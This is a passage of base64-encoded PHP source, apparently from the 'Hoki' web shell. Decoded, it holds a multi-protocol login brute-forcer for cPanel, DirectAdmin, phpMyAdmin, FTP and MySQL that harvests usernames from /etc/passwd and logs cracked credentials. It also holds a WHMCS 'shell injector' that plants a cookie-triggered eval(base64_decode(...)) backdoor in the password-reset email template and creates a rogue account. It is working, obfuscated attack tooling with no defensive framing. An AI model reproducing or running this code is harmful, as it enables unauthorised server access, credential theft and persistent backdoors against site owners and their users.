iR1c2VybmFtZVwiIC0tcGFzc3dvcmQ9XCIkcGFzc3dvcmRcIiAkZGJuYW1lID4gJyIuYWRkc2xhc2hlcygkZGZpbGUpLiInIik7CmVjaG8oJG1zZyk7Cn1lbHNlewpfX2FsZXJ0KCJFcnJvci4uLiEiKTsKfQp9ZWxzZXsKZWNobygnPGNlbnRlcj5teXNxbGlfY29ubmVjdCA6IEVycm9yITwvY2VudGVyPicpOwp9Cn0KZWNobygnPC9kaXY+Jyk7Cmhva2lmb290ZXIoKTsKfQpmdW5jdGlvbiBIb2tpX0RpcmVjdEFkbWluX0NyYWNrZXIoJGluZm8pewppZighJGluZm9bJ215c3FsJ10pCiR1cmwgPSAkaW5mb1sncHJvdG9jb2wnXS4kaW5mb1sndGFyZ2V0J10uJzonLiRpbmZvWydwb3J0J10uJy9DTURfTE9HSU4nOwplbHNlICR1cmwgPSAkaW5mb1sncHJvdG9jb2wnXS4kaW5mb1sndGFyZ2V0J10uJy9waHBteWFkbWluJzsKJGN1cmwgPSBjdXJsX2luaXQoKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sMSk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VTRVJBR0VOVCwnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4yOyBXT1c2NDsgcnY6MTcuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xNy4wJyk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLDApOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwwKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfSEVBREVSLDApOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VSTCwkdXJsKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVNFUlBXRCwgJGluZm9bJ3VzZXJuYW1lJ10uJzonLiRpbmZvWydwYXNzd29yZCddKTsKaWYoJGluZm9bJ215c3FsJ10pY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfSFRUUEFVVEgsIENVUkxBVVRIX0FOWSk7CiRyZXN1bHQgPSBAY3VybF9leGVjKCRjdXJsKTsKJGN1cmxfZXJybm8gPSBjdXJsX2Vycm5vKCRjdXJsKTsKJGN1cmxfZXJyb3IgPSBjdXJsX2Vycm9yKCRjdXJsKTsKaWYgKCRjdXJsX2Vycm5vID4gMCkge2VjaG8gIjxmb250IGNvbG9yPSdyZWQnPkVycm9yOiAkY3VybF9lcnJvcjwvZm9udD48YnI+Ijt9CmVsc2VpZihwcmVnX21hdGNoKCcvQ01EX0ZJTEVfTUFOQUdFUnxmcmFtZXNldC9pJywkcmVzdWx0KSl7CmVjaG8gJ1VzZXJOYW1lOiA8Zm9udCBjb2xvcj0icmVkIj4nLiRpbmZvWyd1c2VybmFtZSddLic8L2ZvbnQ+IFBhc3NXb3JkOiA8Zm9udCBjb2xvcj0icmVkIj4nLiRpbmZvWydwYXNzd29yZCddLic8L2ZvbnQ+PGZvbnQgY29sb3I9ImdyZWVuIj4gIExvZ2luIFN1Y2Nlc3MuLi4uPC9mb250Pjxicj4nOwokaW5mb1sndGFyZ2V0J10gPSAkdXJsOwpDcmFja2VyUmVzdWFsdCgkaW5mbyk7Cn0KY3VybF9jbG9zZSgkY3VybCk7Cn0KZnVuY3Rpb24gSG9raV9DUF9DcmFja2VyKCRpbmZvKXsKJHVybCA9ICRpbmZvWydwcm90b2NvbCddLiRpbmZvWyd0YXJnZXQnXS4nOicuJGluZm9bJ3BvcnQnXTsKJGN1cmwgPSBjdXJsX2luaXQoKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sMSk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1VTRVJBR0VOVCwnTW96aWxsYS81LjAgKFdpbmRvd3MgTlQgNi4yOyBXT1c2NDsgcnY6MTcuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xNy4wJyk7CmN1cmxfc2V0b3B0KCRjdXJsLCBDVVJMT1BUX1NTTF9WRVJJRllQRUVSLDApOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCwwKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfSEVBREVSLDApOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfSFRUUEhFQURFUiwgYXJyYXkoIkF1dGhvcml6YXRpb246IEJhc2ljICIgLiBfX1pXNWpiMlJsY2coJGluZm9bJ3VzZXJuYW1lJ10uIjoiLiRpbmZvWydwYXNzd29yZCddKSAuICJcblxyIikpOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VUkwsICR1cmwpOwokcmVzdWx0ID0gQGN1cmxfZXhlYygkY3VybCk7CiRjdXJsX2Vycm5vID0gY3VybF9lcnJubygkY3VybCk7CiRjdXJsX2Vycm9yID0gY3VybF9lcnJvcigkY3VybCk7CmlmICgkY3VybF9lcnJubyA+IDApIHtlY2hvICI8Zm9udCBjb2xvcj0ncmVkJz5FcnJvcjogJGN1cmxfZXJyb3I8L2ZvbnQ+PGJyPiI7fQplbHNlaWYocHJlZ19tYXRjaCgnL2ZpbGVtYW5hZ2VyL2knLCRyZXN1bHQpKXsKZWNobyAnVXNlck5hbWU6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3VzZXJuYW1lJ10uJzwvZm9udD4gUGFzc1dvcmQ6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3Bhc3N3b3JkJ10uJzwvZm9udD48Zm9udCBjb2xvcj0iZ3JlZW4iPiAgTG9naW4gU3VjY2Vzcy4uLi48L2ZvbnQ+PGJyPic7CiRpbmZvWyd0YXJnZXQnXSA9ICR1cmw7CkNyYWNrZXJSZXN1YWx0KCRpbmZvKTsKfQpjdXJsX2Nsb3NlKCRjdXJsKTsKfQpmdW5jdGlvbiBIb2tpX0ZUUF9DcmFja2VyKCRpbmZvKXsKJHVybCA9ICRpbmZvWydwcm90b2NvbCddLiRpbmZvWyd0YXJnZXQnXTsKJGN1cmwgPSBjdXJsX2luaXQoKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVJMLCAkdXJsKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVNFUkFHRU5ULCdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjI7IFdPVzY0OyBydjoxNy4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzE3LjAnKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwpjdXJsX3NldG9wdCgkY3VybCwgQ1VSTE9QVF9VU0VSUFdELCAiIi4kaW5mb1sndXNlcm5hbWUnXS4iOiIuJGluZm9bJ3Bhc3N3b3JkJ10uIiIpOwokcmVzdWx0ID0gQGN1cmxfZXhlYygkY3VybCk7CiRjdXJsX2Vycm5vID0gY3VybF9lcnJubygkY3VybCk7CiRjdXJsX2Vycm9yID0gY3VybF9lcnJvcigkY3VybCk7CmlmICgkY3VybF9lcnJubyA+IDApIHtlY2hvICI8Zm9udCBjb2xvcj0ncmVkJz5FcnJvcjogJGN1cmxfZXJyb3I8L2ZvbnQ+PGJyPiI7fQplbHNlaWYocHJlZ19tYXRjaCgnLyhcZCspOihcZCspL2knLCRyZXN1bHQpKXsKZWNobyAnVXNlck5hbWU6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3VzZXJuYW1lJ10uJzwvZm9udD4gUGFzc1dvcmQ6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3Bhc3N3b3JkJ10uJzwvZm9udD48Zm9udCBjb2xvcj0iZ3JlZW4iPiAgTG9naW4gU3VjY2Vzcy4uLi48L2ZvbnQ+PGJyPic7CiRpbmZvWyd0YXJnZXQnXSA9ICR1cmw7CkNyYWNrZXJSZXN1YWx0KCRpbmZvKTsKfQpjdXJsX2Nsb3NlKCRjdXJsKTsKfQpmdW5jdGlvbiBIb2tpX015c3FsX0NyYWNrZXIoJGluZm8pewppZihAbXlzcWxpX2Nvbm5lY3QoJGluZm9bJ3RhcmdldCddLic6Jy4kaW5mb1sncG9ydCddLCRpbmZvWyd1c2VybmFtZSddLCRpbmZvWydwYXNzd29yZCddKSl7CkNyYWNrZXJSZXN1YWx0KCRpbmZvKTsKZWNobyAnVXNlck5hbWU6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3VzZXJuYW1lJ10uJzwvZm9udD4gUGFzc1dvcmQ6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3Bhc3N3b3JkJ10uJzwvZm9udD48Zm9udCBjb2xvcj0iZ3JlZW4iPiAgTG9naW4gU3VjY2Vzcy4uLi48L2ZvbnQ+PGJyPic7Cn0KfQpmdW5jdGlvbiBIb2tpX0ZUUEMoJGluZm8pewppZigkY29uPUBmdHBfY29ubmVjdCgkaW5mb1sndGFyZ2V0J10sJGluZm9bJ3BvcnQnXSkpewppZigkY29uKXsKJGxvZ2luPUBmdHBfbG9naW4oJGNvbiwkaW5mb1sndXNlcm5hbWUnXSwkaW5mb1sncGFzc3dvcmQnXSk7CmlmKCRsb2dpbil7Q3JhY2tlclJlc3VhbHQoJGluZm8pO319fQpAZnRwX2Nsb3NlKCRjb24pOwp9CmZ1bmN0aW9uIENyYWNrZXJSZXN1YWx0KCRpbmZvKXsKJHJlcyA9ICRpbmZvWyd0YXJnZXQnXS4nID0+ICcuJGluZm9bJ3VzZXJuYW1lJ10uIjoiLiRpbmZvWydwYXNzd29yZCddLiJcbiIgOwokYyA9IEBmb3BlbigkaW5mb1snZmNyYWNrJ10sJ2ErJyk7CkBmd3JpdGUoJGMsICRyZXMpOwpAZmNsb3NlKCRjKTsKfQpmdW5jdGlvbiBIb2tpX0NhbGxfRnVuY3Rpb25fQ3JhY2tlcigkbWV0aG9kLCRpbmZvKXsKc3dpdGNoKCRtZXRob2Qpe2Nhc2UgJ2NwJzpyZXR1cm4gSG9raV9DUF9DcmFja2VyKCRpbmZvKTticmVhaztjYXNlICdkaXJlY3QnOiBjYXNlICdwaHBteWFkbWluJzpyZXR1cm4gSG9raV9EaXJlY3RBZG1pbl9DcmFja2VyKCRpbmZvKTticmVhaztjYXNlICdmdHAnOnJldHVybiBIb2tpX0ZUUF9DcmFja2VyKCRpbmZvKTticmVhaztjYXNlICdteXNxbCc6cmV0dXJuIEhva2lfTXlzcWxfQ3JhY2tlcigkaW5mbyk7YnJlYWs7Y2FzZSAnbXlzcWwnOnJldHVybiBIb2tpX0ZUUEMoJGluZm8pO2JyZWFrO30KfQpmdW5jdGlvbiBob2tpQ3JhY2tlcnMoKXsKaG9raWhlYWQoKTsKSG9raU51bSg5LDEwKTsKZWNobyAnPGRpdiBjbGFzcz0iaGVhZGVyIj48Y2VudGVyPjxicj48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBCcnV0ZSBGb3JjZXIgfDwvZGl2Pjxicj48YnI+PGZvcm0gbWV0aG9kPSJwb3N0IiBvbnN1Ym1pdD0iZyhcJ0NyYWNrZXJzXCcsbnVsbCx0aGlzLnRhcmdldC52YWx1ZSx0aGlzLnBvcnQudmFsdWUsdGhpcy51c2VybmFtZXMudmFsdWUsdGhpcy5wYXNzd29yZHMudmFsdWUsdGhpcy5mY3JhY2sudmFsdWUsXCdzdGFydFwnLHRoaXMucHJvdG9jb2wudmFsdWUsdGhpcy5sb2dpbnBhbmVsLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48ZGl2IGNsYXNzPSJ0eHRmb250Ij5Mb2dpbiBQYWdlOiA8c2VsZWN0IG9uY2xpY2s9ImRpc19pbnB1dCh0aGlzLnZhbHVlKTsiIG5hbWU9ImxvZ2lucGFuZWwiPic7CmZvcmVhY2goYXJyYXkoJ2NwJz0+J0NwYW5lbCcsJ2RpcmVjdCc9PidEaXJlY3RBZG1pbicsJ2Z0cCc9PidGVFAnLCdwaHBteWFkbWluJz0+J1BocE15QWRtaW5bRGlyZWN0QWRtaW5dJywnbXlzcWwnPT4nbXlzcWxfY29ubmVjdCgpJywnZnRwYyc9PidmdHBfY29ubmVjdCgpJykgYXMgJGtleT0+JHZhbCllY2hvKCc8b3B0aW9uIHZhbHVlPSInLiRrZXkuJyI+Jy4kdmFsLic8L29wdGlvbj4nKTsKZWNobyAnPC9zZWxlY3Q+IFByb3RvY29sOiA8c2VsZWN0IGlkPSJwcm90b2NvbCIgbmFtZT0icHJvdG9jb2wiPic7CmZvcmVhY2goYXJyYXkoJ2h0dHBzOi8vJywnaHR0cDovLycsJ2Z0cDovLycpIGFzICR2YWwpZWNobygnPG9wdGlvbiB2YWx1ZT0iJy4kdmFsLiciPicuJHZhbC4nPC9vcHRpb24+Jyk7CmVjaG8gJzwvc2VsZWN0PiBXZWJzaXRlL2lwIEFkZHJlc3M6IDxpbnB1dCBpZD0idGFyZ2V0IiB0eXBlPSJ0ZXh0IiBuYW1lPSJ0YXJnZXQiIHZhbHVlPSJsb2NhbGhvc3QiPgpQb3J0OiA8aW5wdXQgaWQ9InBvcnQiIHR5cGU9InRleHQiIG5hbWU9InBvcnQiIHZhbHVlPSIyMDgzIj4KPHRhYmxlIHdpZHRoPSIzMCUiPjx0ZCBhbGlnbj0iY2VudGVyIj5Vc2VycyBMaXN0PC90ZD48dGQgYWxpZ249ImNlbnRlciI+UGFzc3dvcmRzPC90ZD48L3RhYmxlPgo8dGV4dGFyZWEgcGxhY2Vob2xkZXI9IlVzZXJzIiByb3dzPSIyMCIgY29scz0iMjUiIG5hbWU9InVzZXJuYW1lcyI+Jy4oJEdMT0JBTFNbJ3N5cyddPT0ndW5peCc/aG9raUV4KCJjdXQgLWQ6IC1mMSAvZXRjL3Bhc3N3ZCIpOiIiKS4nPC90ZXh0YXJlYT4KJm5ic3AgPHRleHRhcmVhIHBsYWNlaG9sZGVyPSJQYXNzd29yZHMiIHJvd3M9IjIwIiBjb2xzPSIyNSIgbmFtZT0icGFzc3dvcmRzIj48L3RleHRhcmVhPjxicj48YnI+ClNhdmUgUmVzdWx0IEludG8gRmlsZSA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmNyYWNrIiB2YWx1ZT0iY3JhY2tlZC50eHQiPgo8cD48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJjcmFja2luZyIgdmFsdWU9IiAiIC8+PC9kaXY+PC9mb3JtPjwvcD48Y2VudGVyPic7CiR0YXJnZXQgPSBzdHJfcmVwbGFjZShhcnJheSgnaHR0cHM6Ly8nLCdodHRwOi8vJywnZnRwOi8vJyksJycsJF9QT1NUWydob2tpMSddKTsKJHBvcnQgPSAkX1BPU1RbJ2hva2kyJ107CiR1c2VybmFtZXM9ICRfUE9TVFsnaG9raTMnXTsKJHBhc3N3b3JkcyA9ICRfUE9TVFsnaG9raTQnXTsKJGZjcmFjayA9ICRfUE9TVFsnaG9raTUnXTsKJGNyYWNraW5nID0gJF9QT1NUWydob2tpNiddOwokcHJvdG9jb2wgPSAkX1BPU1RbJ2hva2k3J107CiRsb2dpbnBhbmVsID0gJF9QT1NUWydob2tpOCddOwokcCA9ICRsb2dpbnBhbmVsID09ICdwaHBteWFkbWluJyA/ICRwID0gdHJ1ZSA6IGZhbHNlOwppZigkY3JhY2tpbmc9PSdzdGFydCcpewplY2hvIF9fcHJlKCk7CiRleHVzZXIgPSBleHBsb2RlKCJcbiIsJHVzZXJuYW1lcyk7CiRleHB3ID0gZXhwbG9kZSgiXG4iLCRwYXNzd29yZHMpOwpmb3JlYWNoKCRleHVzZXIgYXMgJHVzZXIpewpmb3JlYWNoKCRleHB3IGFzICRwdyl7CiRhcnJheSA9IGFycmF5KCd1c2VybmFtZScgPT4gdHJpbSgkdXNlciksJ3Bhc3N3b3JkJyA9PiB0cmltKCRwdyksJ3BvcnQnID0+IHRyaW0oJHBvcnQpLCd0YXJnZXQnID0+IHRyaW0oJHRhcmdldCksJ3Byb3RvY29sJyA9PiB0cmltKCRwcm90b2NvbCksJ2ZjcmFjaycgPT4gdHJpbSgkZmNyYWNrKSwnbXlzcWwnID0+ICRwKTsKSG9raV9DYWxsX0Z1bmN0aW9uX0NyYWNrZXIoJGxvZ2lucGFuZWwsJGFycmF5KTsKfQp9CmVjaG8gJzxicj48Zm9udCBjb2xvcj0icmVkIj5BdHRhY2sgRmluaXNoZWQuLi48L2ZvbnQ+JzsKfQplY2hvICc8L2Rpdj4nOwpob2tpZm9vdGVyKCk7Cn0KZnVuY3Rpb24gb3V0cHV0KCRzdHJpbmcpeyBlY2hvICI8YnI+PHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj48Y2VudGVyPjxmb250IGNvbG9yPXJlZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nIi4kc3RyaW5nLiInPkNsaWNrIEhlcmUgITwvYT48L2ZvbnQ+PC9iPjwvY2VudGVyPjxicj48YnI+Ijt9CmZ1bmN0aW9uIGhva2lTaGVsbEluamVjdG9ycygpewpob2tpaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOwpIb2tpTnVtKDExKTsKZWNobyAnPGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBDbXMgU2hlbGwgSW5qZWN0b3IgfDwvZGl2PjwvcD48Y2VudGVyPjxoMz48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnU2hlbGxJbmplY3RvcnNcJyxudWxsLFwnd2htY3NcJyxudWxsKSI+fCBXSE1DUyB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnU2hlbGxJbmplY3RvcnNcJyxudWxsLG51bGwsXCdteWJiXCcpIj58IE15QkIgfCA8L2E+PGEgaHJlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ1NoZWxsSW5qZWN0b3JzXCcsbnVsbCxudWxsLG51bGwsXCd2YlwnKSI+fCB2QnVsbGV0aW4gfDwvYT48L2gzPjwvY2VudGVyPic7CiRzZWxlY3RvciA9ICc8cD48ZGl2IGNsYXNzPSJ0eHRmb250Ij5TaGVsbCBJbmplY3QgTWV0aG9kIDogPC9kaXY+IDxzZWxlY3QgbmFtZT0ibWV0aG9kIiBzdHlsZT0id2lkdGg6MTAwcHg7Ij48b3B0aW9uIHZhbHVlPSJhdXRvIj5BdXRvTWF0aWM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJtYW4iPk1hbnVlbDwvb3B0aW9uPjwvc2VsZWN0PjwvcD4nOwppZihpc3NldCgkX1BPU1RbJ2hva2kxJ10pICYmICRfUE9TVFsnaG9raTEnXT09ICd3aG1jcycpewpIb2tpTnVtKCk7CmVjaG8gX19wcmUoKS4iPHA+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXInPnwgV0hNQ1MgfDwvZGl2PjwvcD48Y2VudGVyPjxjZW50ZXI+PHA+Ii5nZXRDb25maWdIdG1sKCd3aG1jcycpLiI8L3A+PGZvcm0gb25TdWJtaXQ9XCJnKCdTaGVsbEluamVjdG9ycycsbnVsbCwnd2htY3MnLG51bGwsbnVsbCx0aGlzLm1ldGhvZC52YWx1ZSxudWxsLHRoaXMuZGJ1LnZhbHVlLHRoaXMuZGJuLnZhbHVlLHRoaXMuZGJwLnZhbHVlLHRoaXMuZGJoLnZhbHVlLHRoaXMucGF0aC52YWx1ZSk7IHJldHVybiBmYWxzZTtcIiBtZXRob2Q9J3Bvc3QnPiI7CiR0YWJsZSA9IGFycmF5KCd0ZDEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnUGF0aCBXSE1DUyBVcmwgOiAnLCAnaW5wdXROYW1lJyA9PiAncGF0aCcsICdpbnB1dFZhbHVlJyA9PiAnaHR0cDovL3NpdGUuY29tL3dobWNzJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJoJywgJ2lkJyA9PiAnZGJfaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQzJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJuJywgJ2lkJyA9PiAnZGJfbmFtZScsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFVzZXIgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJ1JywgJ2lkJyA9PiAnZGJfdXNlcicsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJwJywgJ2lkJyA9PiAnZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICRzZWxlY3RvcjsKZWNobyAiPHA+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvcD48L2Zvcm0+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+PC9jZW50ZXI+IjsKaWYoaXNzZXQoJF9QT1NUWydob2tpNiddKSkgewokZGJ1ID0gJF9QT1NUWydob2tpNiddOwokZGJuID0gJF9QT1NUWydob2tpNyddOwokZGJwID0gJF9QT1NUWydob2tpOCddOwokZGJoID0gJF9QT1NUWydob2tpOSddOwokcGF0aCA9ICRfUE9TVFsnaG9raTEwJ107CiRtZXRob2QgPSAkX1BPU1RbJ2hva2k0J107CiRpbmRleCA9ICJ7cGhwfSIuSE9LSV9VUExPQURFUi4iO3svcGhwfSI7CiRuZXdpbiA9IHN0cl9yZXBsYWNlKCInIiwiXCciLCRpbmRleCk7CiRuZXdpbmRleCA9ICI8cD5EZWFyICRuZXdpbiw8L3A+PHA+UmVjZW50bHkgYSByZXF1ZXN0IHdhcyBzdWJtaXR0ZWQgdG8gcmVzZXQgeW91ciBwYXNzd29yZCBmb3Igb3VyIGNsaWVudCBhcmVhLiBJZiB5b3UgZGlkIG5vdCByZXF1ZXN0IHRoaXMsIHBsZWFzZSBpZ25vcmUgdGhpcyBlbWFpbC4gSXQgd2lsbCBleHBpcmUgYW5kIGJlY29tZSB1c2VsZXNzIGluIDIgaG91cnMgdGltZS48L3A+PHA+VG8gcmVzZXQgeW91ciBwYXNzd29yZCwgcGxlYXNlIHZpc2l0IHRoZSB1cmwgYmVsb3c6PGJyIC8+PGEgaHJlZj1cIntcJHB3X3Jlc2V0X3VybH1cIj57XCRwd19yZXNldF91cmx9PC9hPjwvcD48cD5XaGVuIHlvdSB2aXNpdCB0aGUgbGluayBhYm92ZSwgeW91ciBwYXNzd29yZCB3aWxsIGJlIHJlc2V0LCBhbmQgdGhlIG5ldyBwYXNzd29yZCB3aWxsIGJlIGVtYWlsZWQgdG8geW91LjwvcD48cD57XCRzaWduYXR1cmV9PC9wPntwaHB9aWYoXCRfQ09PS0lFW1wic2VjXCJdID09IFwiMTIzXCIpe2V2YWwoYmFzZTY0X2RlY29kZShcJF9DT09LSUVbXCJzZWMyXCJdKSk7IGRpZShcIiFcIik7fXtcL3BocH0iOwppZighZW1wdHkoJGRiaCkgJiYgIWVtcHR5KCRkYnUpICYmICFlbXB0eSgkZGJuKSAmJiAhZW1wdHkoJGluZGV4KSl7CmlmKGZpbHRlcl92YXIoJHBhdGgsRklMVEVSX1ZBTElEQVRFX1VSTCkpewokY29ubiA9IG15c3FsaV9jb25uZWN0KCRkYmgsJGRidSwkZGJwLCRkYm4pIG9yIGRpZShteXNxbGlfY29ubmVjdF9lcnJvcigpKTsKJGtpc2VTYXZlPSBteXNxbGlfcXVlcnkoJGNvbm4sInNlbGVjdCBtZXNzYWdlIGZyb20gdGJsZW1haWx0ZW1wbGF0ZXMgd2hlcmUgbmFtZT0nUGFzc3dvcmQgUmVzZXQgVmFsaWRhdGlvbiciKTsKJGtpc2VHZXQgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJGtpc2VTYXZlKTsKJHRlbXBTYXZlMSA9ICRraXNlR2V0WydtZXNzYWdlJ107CiR0ZW1wU2F2ZSA9IHN0cl9yZXBsYWNlKCInIiwiXCciLCR0ZW1wU2F2ZTEpOwpteXNxbGlfcXVlcnkoJGNvbm4sIlVQREFURSB0Ymxjb25maWd1cmF0aW9uIFNFVCB2YWx1ZSA9ICcxJyBXSEVSRSBzZXR0aW5nID0gJ0FsbG93U21hcnR5UGhwVGFncyciKSBvciBkaWUgKG15c3FsaV9lcnJvcigkY29ubikpOwokaW5qZWN0ID0gIlVQREFURSB0YmxlbWFpbHRlbXBsYXRlcyBTRVQgbWVzc2FnZT0nJG5ld2luZGV4JyBXSEVSRSBuYW1lPSdQYXNzd29yZCBSZXNldCBWYWxpZGF0aW9uJyI7CiRyZXN1bHQgPSBteXNxbGlfcXVlcnkoJGNvbm4sJGluamVjdCkgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsKJGNyZWF0ZSA9ICJpbnNlcnQgaW50byB0YmxjbGllbnRzIChlbWFpbCkgdmFsdWVzKCdraXNlcnlvdW5pQGZiaS5nb3YnKSI7CiRyZXN1bHQyID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCRjcmVhdGUpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CmlmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykgJiYgJG1ldGhvZCA9PSAnYXV0bycpewokSG9raVNvbGUgPSBuZXcgSG9raUNVUkwodHJ1ZSk7CiRzYXZldXJsID0gJEhva2lTb2xlLT5TZW5kKCRwYXRoLiIvcHdyZXNldC5waHAiKTsKJGdldFRva2VuID0gcHJlZ19tYXRjaCgiL25hbWU9XCJ0b2tlblwiIHZhbHVlPVwiKC4qPylcIi9pIiwkc2F2ZXVybCwkdG9rZW4pOwokSG9raVNvbGUtPlNlbmQoJHBhdGguIi9wd3Jlc2V0LnBocCIsInBvc3QiLCJ0b2tlbj17JHRva2VuWzFdfSZhY3Rpb249cmVzZXQmZW1haWw9a2lzZXJ5b3VuaUBmYmkuZ292Iik7CiRiYWNrZGF0YSA9ICJVUERBVEUgdGJsZW1haWx0ZW1wbGF0ZXMgU0VUIG1lc3NhZ2U9J3skdGVtcFNhdmV9JyBXSEVSRSBuYW1lPSdQYXNzd29yZCBSZXNldCBWYWxpZGF0aW9uJyI7CiRLaXNlcnlvdW5pID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCRiYWNrZGF0YSkgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsKX19hbGVydCgic2hlbGwgaW5qZWN0ZXQuLi4iKTsKJGZmPSAnaHR0cDovLycuJHBhdGguIi9raXNlcnlvdW5pLnBocCI7Cm91dHB1dCgkZmYpO31lbHNlewplY2hvICI8YnI+PHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj48Y2VudGVyPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlBsZWFzZSBnbyB0byBUYXJnZXQgPT4gPC9mb250PjxhIGhyZWY9JyIuJHBhdGguIi9wd3Jlc2V0LnBocCcgdGFyZ2V0PSdfYmxhbmsnPiIuJHBhdGguIi9wd3Jlc2V0LnBocDwvYT48YnIvPjxmb250IGNvbG9yPScjRkZGRkZGJz4gQW5kIFJlc2V0IFBhc3N3b3JkIFdpdGggRW1haWw8L2ZvbnQ+ID0+IDxmb250IGNvbG9yPXJlZD5raXNlcnlvdW5pQGZiaS5nb3Y8L2ZvbnQ+PGJyLz48Zm9udCBjb2xvcj0nI0ZGRkZGRic+QW5kIEdvIFRvID0+IDwvZm9udD48YSBocmVmPSciLiRwYXRoLiIva2lzZXJ5b3VuaS5waHAnIHRhcmdldD0nX2JsYW5rJz4iLiRwYXRoLiIva2lzZXJ5b3VuaS5waHA8L2E+PC9iPjwvY2VudGVyPjxicj48YnI+Ijt9fWVsc2V7X19hbGVydCgnUGF0aCBpcyBub3QgVmFsaWQuLi4nKTt9fX0KfWlmKGlzc2V0KCRfUE9TVFsnaG9raTInXSkgJiYgJF9QT1NUWydob2tpMiddPT0gJ215YmInKXsKSG9raU51bSgxLDIsMyw1KTsKZWNobyBfX3ByZSgpLiI8cD48ZGl2IGNs